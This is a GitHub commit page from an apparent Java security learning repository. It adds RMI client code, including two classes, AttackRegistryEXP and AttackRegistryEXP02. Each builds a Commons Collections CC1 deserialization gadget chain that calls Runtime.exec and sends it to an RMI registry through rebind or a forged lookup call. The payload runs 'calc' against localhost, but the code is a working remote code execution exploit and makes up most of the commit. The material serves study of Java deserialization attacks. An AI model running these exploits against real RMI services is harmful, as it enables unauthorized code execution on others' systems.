FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

别在 RMI 上花太多时间 · xia0le/JavaSecurityLearning@4512977 · GitHub

  1. xia0le
  2. JavaSecurityLearning

Repository navigation

Commit 4512977

Browse files
Drun1baby
committed
别在 RMI 上花太多时间
1 parent 22a1747 commit 4512977

84 files changed

Lines changed: 1082 additions & 22 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎JavaSecurity/CC/CommonsBeans1/target/classes/temp.class‎

-237 Bytes
Binary file not shown.

‎JavaSecurity/JavaThings‎

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎JavaSecurity/RMI/RMIClient/pom.xml‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>org.example</groupId>
8+
<artifactId>RMI</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
<dependencies>
11+
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
12+
<dependency>
13+
<groupId>commons-collections</groupId>
14+
<artifactId>commons-collections</artifactId>
15+
<version>3.2.1</version>
16+
</dependency>
17+
</dependencies>
18+
<properties>
19+
<maven.compiler.source>8</maven.compiler.source>
20+
<maven.compiler.target>8</maven.compiler.target>
21+
</properties>
22+
23+
</project>

‎JavaSecurity/RMI/RMIClient/src/main/java/AttackRegistryEXP.java‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import org.apache.commons.collections.Transformer;
2+
import org.apache.commons.collections.functors.ChainedTransformer;
3+
import org.apache.commons.collections.functors.ConstantTransformer;
4+
import org.apache.commons.collections.functors.InvokerTransformer;
5+
import org.apache.commons.collections.map.TransformedMap;
6+
import sun.rmi.registry.RegistryImpl_Skel;
7+
8+
import java.lang.annotation.Target;
9+
import java.lang.reflect.Constructor;
10+
import java.lang.reflect.InvocationHandler;
11+
import java.lang.reflect.Proxy;
12+
import java.rmi.Remote;
13+
import java.rmi.registry.LocateRegistry;
14+
import java.rmi.registry.Registry;
15+
import java.util.HashMap;
16+
import java.util.Map;
17+
18+
// 攻击 Registry 的 EXP，使用 bind/rebind
19+
public class AttackRegistryEXP {
20+
public static void main(String[] args) throws Exception{
21+
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
22+
InvocationHandler handler = (InvocationHandler) CC1();
23+
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
24+
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
25+
registry.rebind("test",remote);
26+
}
27+
28+
public static Object CC1() throws Exception{
29+
Transformer[] transformers = new Transformer[]{
30+
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
31+
new InvokerTransformer("getMethod",
32+
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
33+
new InvokerTransformer("invoke"
34+
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
35+
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
36+
};
37+
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
38+
HashMap<Object, Object> hashMap = new HashMap<>();
39+
hashMap.put("value","drunkbaby");
40+
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
41+
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
42+
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
43+
aihConstructor.setAccessible(true);
44+
Object o = aihConstructor.newInstance(Target.class, transformedMap);
45+
return o;
46+
}
47+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/AttackRegistryEXP02.java‎

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
import org.apache.commons.collections.Transformer;
2+
import org.apache.commons.collections.functors.ChainedTransformer;
3+
import org.apache.commons.collections.functors.ConstantTransformer;
4+
import org.apache.commons.collections.functors.InvokerTransformer;
5+
import org.apache.commons.collections.map.TransformedMap;
6+
import sun.rmi.server.UnicastRef;
7+
8+
import java.io.ObjectOutput;
9+
import java.lang.annotation.Target;
10+
import java.lang.reflect.Constructor;
11+
import java.lang.reflect.Field;
12+
import java.lang.reflect.InvocationHandler;
13+
import java.lang.reflect.Proxy;
14+
import java.rmi.Remote;
15+
import java.rmi.registry.LocateRegistry;
16+
import java.rmi.registry.Registry;
17+
import java.rmi.server.Operation;
18+
import java.rmi.server.RemoteCall;
19+
import java.rmi.server.RemoteObject;
20+
import java.util.HashMap;
21+
import java.util.Map;
22+
23+
// 用 unbind 和 lookup 打注册中心
24+
public class AttackRegistryEXP02 {
25+
public static void main(String[] args) throws Exception{
26+
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
27+
InvocationHandler handler = (InvocationHandler) CC1();
28+
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
29+
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
30+
31+
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
32+
fields_0[0].setAccessible(true);
33+
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
34+
35+
//获取operations
36+
37+
Field[] fields_1 = registry.getClass().getDeclaredFields();
38+
fields_1[0].setAccessible(true);
39+
Operation[] operations = (Operation[]) fields_1[0].get(registry);
40+
41+
// 伪造lookup的代码，去伪造传输信息
42+
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
43+
ObjectOutput var3 = var2.getOutputStream();
44+
var3.writeObject(remote);
45+
ref.invoke(var2);
46+
}
47+
public static Object CC1() throws Exception{
48+
Transformer[] transformers = new Transformer[]{
49+
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
50+
new InvokerTransformer("getMethod",
51+
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
52+
new InvokerTransformer("invoke"
53+
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
54+
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
55+
};
56+
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
57+
HashMap<Object, Object> hashMap = new HashMap<>();
58+
hashMap.put("value","drunkbaby");
59+
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
60+
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
61+
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
62+
aihConstructor.setAccessible(true);
63+
Object o = aihConstructor.newInstance(Target.class, transformedMap);
64+
return o;
65+
}
66+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/EvilClient.java‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import java.rmi.Naming;
2+
import java.rmi.NotBoundException;
3+
import java.rmi.Remote;
4+
import java.rmi.RemoteException;
5+
import java.rmi.registry.LocateRegistry;
6+
import java.rmi.registry.Registry;
7+
8+
// 服务端打客户端，返回 Object 对象
9+
public class EvilClient {
10+
public static void main(String[] args) throws Exception {
11+
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
12+
User user = (User)registry.lookup("user");
13+
user.getUser();
14+
}
15+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/RMIClient.java‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import java.rmi.Naming;
2+
import java.rmi.NotBoundException;
3+
import java.rmi.RemoteException;
4+
import java.rmi.registry.LocateRegistry;
5+
import java.rmi.registry.Registry;
6+
import java.rmi.server.RemoteObjectInvocationHandler;
7+
8+
public class RMIClient {
9+
public static void main(String[] args) throws Exception {
10+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
11+
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
12+
remoteObj.sayHello("hello");
13+
}
14+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/RegistryAttackClient.java‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
import java.rmi.Naming;
2+
import java.rmi.RemoteException;
3+
import java.rmi.registry.LocateRegistry;
4+
import java.rmi.registry.Registry;
5+
6+
// 注册中心打客户端
7+
public class RegistryAttackClient {
8+
public static void main(String[] args) throws RemoteException {
9+
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
10+
registry.list();
11+
}
12+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/RegistryListAttack.java‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import java.rmi.Naming;
2+
import java.rmi.RemoteException;
3+
4+
// 针对 Registry 的 list 鸡肋攻击
5+
public class RegistryListAttack {
6+
public static void main(String[] args) throws Exception{
7+
RemoteObj remoteObj = new RemoteObj() {
8+
@Override
9+
public String sayHello(String keywords) throws RemoteException {
10+
return null;
11+
}
12+
};
13+
String[] s = Naming.list("rmi://127.0.0.1:1099");
14+
System.out.println(s);
15+
}
16+
}

‎JavaSecurity/RMI/RMIClient/src/main/java/RemoteObj.java‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
import java.rmi.Remote;
2+
import java.rmi.RemoteException;
3+
4+
public interface RemoteObj extends Remote {
5+
6+
public String sayHello(String keywords) throws RemoteException;
7+
}

0 commit comments

Comments
 (0)
Back | FazBrowse Home | New Git URL